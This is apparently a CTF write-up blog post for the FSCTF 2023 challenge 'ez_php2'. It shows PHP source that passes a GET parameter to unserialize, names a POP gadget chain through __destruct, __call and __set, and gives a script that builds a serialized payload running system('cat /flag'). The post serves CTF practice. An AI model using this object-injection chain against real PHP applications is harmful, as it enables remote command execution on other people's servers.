【FSCTF 2023】ez_php2

源码奉上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;

public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{

if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}


class Poc{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}

class Er{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
$value($this->Flag);
}


}

class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}

public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}


if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>

代码审计构造pop链
Ha_destruct->Rd_call->Er_set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
Class Rd{
public $ending;
public $cl;
public $poc;
}
class Er{
public $symbol;
public $Flag = "cat /flag";
}
class Ha{
public $start = array("POC"=>"1111");
public $start1;
public $start2="11111";
}
$a = new Ha();
$b = new Er();
$c = new Rd();
$a->start1 = $c;
$a->start1->cl = $b;
echo serialize($a);
?>

【FSCTF 2023】ez_php2
http://example.com/2024/08/10/[FSCTF 2023]ez_php2/
作者
unjoke
发布于
2024年8月10日
许可协议